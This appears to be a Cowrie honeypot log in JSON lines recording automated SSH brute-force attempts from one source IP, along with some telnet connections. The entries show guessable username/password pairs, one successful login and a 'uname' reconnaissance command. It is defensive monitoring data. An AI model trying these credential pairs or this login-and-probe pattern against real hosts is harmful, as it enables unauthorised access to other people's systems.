{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:12.027614Z","src_ip":"45.156.87.254","session":"8505ab27dd4b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:12.281417Z","src_ip":"45.156.87.254","session":"8505ab27dd4b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:12.729465Z","src_ip":"45.156.87.254","session":"8505ab27dd4b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:12.733230Z","src_ip":"45.156.87.254","session":"8505ab27dd4b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:12.821841Z","src_ip":"45.156.87.254","session":"8505ab27dd4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:12.826438Z","src_ip":"45.156.87.254","session":"8505ab27dd4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39930,"dst_ip":"159.203.135.109","dst_port":22,"session":"878e771cd86b","protocol":"ssh","message":"New connection: 45.156.87.254:39930 (159.203.135.109:22) [session: 878e771cd86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:17.416086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:17.423649Z","src_ip":"45.156.87.254","session":"878e771cd86b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:17.522038Z","src_ip":"45.156.87.254","session":"878e771cd86b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:17.788141Z","src_ip":"45.156.87.254","session":"878e771cd86b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:18.879610Z","src_ip":"45.156.87.254","session":"878e771cd86b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.526516914367676,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:20.005914Z","src_ip":"104.245.105.2","session":"53225396f410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41988,"dst_ip":"159.203.135.109","dst_port":22,"session":"5305ccc0c931","protocol":"ssh","message":"New connection: 45.156.87.254:41988 (159.203.135.109:22) [session: 5305ccc0c931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:23.497569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:23.503323Z","src_ip":"45.156.87.254","session":"5305ccc0c931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:23.587215Z","src_ip":"45.156.87.254","session":"5305ccc0c931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:23.849052Z","src_ip":"45.156.87.254","session":"5305ccc0c931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:24.956203Z","src_ip":"45.156.87.254","session":"5305ccc0c931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56402,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf86f9765660","protocol":"ssh","message":"New connection: 45.156.87.254:56402 (159.203.135.109:22) [session: bf86f9765660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:29.342831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:29.354307Z","src_ip":"45.156.87.254","session":"bf86f9765660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:29.429743Z","src_ip":"45.156.87.254","session":"bf86f9765660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:29.751384Z","src_ip":"45.156.87.254","session":"bf86f9765660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:30.842813Z","src_ip":"45.156.87.254","session":"bf86f9765660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52802,"dst_ip":"10.17.0.5","dst_port":23,"session":"d62faffa2e72","protocol":"telnet","message":"New connection: 20.123.41.163:52802 (10.17.0.5:23) [session: d62faffa2e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:31.432646Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50998,"dst_ip":"10.17.0.5","dst_port":23,"session":"00c1fb4e56e1","protocol":"telnet","message":"New connection: 20.123.41.163:50998 (10.17.0.5:23) [session: 00c1fb4e56e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:34.104527Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56418,"dst_ip":"159.203.135.109","dst_port":22,"session":"02f5eae7f4af","protocol":"ssh","message":"New connection: 45.156.87.254:56418 (159.203.135.109:22) [session: 02f5eae7f4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:35.107341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:35.112664Z","src_ip":"45.156.87.254","session":"02f5eae7f4af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:35.195244Z","src_ip":"45.156.87.254","session":"02f5eae7f4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:35.455283Z","src_ip":"45.156.87.254","session":"02f5eae7f4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:36.541732Z","src_ip":"45.156.87.254","session":"02f5eae7f4af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52334,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb115e2bcc3a","protocol":"telnet","message":"New connection: 104.245.105.2:52334 (10.17.0.5:23) [session: bb115e2bcc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:36.851542Z"}
{"eventid":"cowrie.session.closed","duration":7.541771411895752,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:38.974327Z","src_ip":"20.123.41.163","session":"d62faffa2e72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41674,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae86f253ca0","protocol":"ssh","message":"New connection: 45.156.87.254:41674 (159.203.135.109:22) [session: 1ae86f253ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:40.406441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:40.412963Z","src_ip":"45.156.87.254","session":"1ae86f253ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:40.653764Z","src_ip":"45.156.87.254","session":"1ae86f253ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:41.008599Z","src_ip":"45.156.87.254","session":"1ae86f253ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:42.108672Z","src_ip":"45.156.87.254","session":"1ae86f253ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41686,"dst_ip":"159.203.135.109","dst_port":22,"session":"5694df18b120","protocol":"ssh","message":"New connection: 45.156.87.254:41686 (159.203.135.109:22) [session: 5694df18b120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:45.753003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:45.757746Z","src_ip":"45.156.87.254","session":"5694df18b120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:45.848644Z","src_ip":"45.156.87.254","session":"5694df18b120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:46.119586Z","src_ip":"45.156.87.254","session":"5694df18b120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:47.268356Z","src_ip":"45.156.87.254","session":"5694df18b120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46590,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ceca3c6bb7d","protocol":"ssh","message":"New connection: 45.156.87.254:46590 (159.203.135.109:22) [session: 2ceca3c6bb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:51.166132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:51.175738Z","src_ip":"45.156.87.254","session":"2ceca3c6bb7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:51.256288Z","src_ip":"45.156.87.254","session":"2ceca3c6bb7d","protocol":"ssh"}
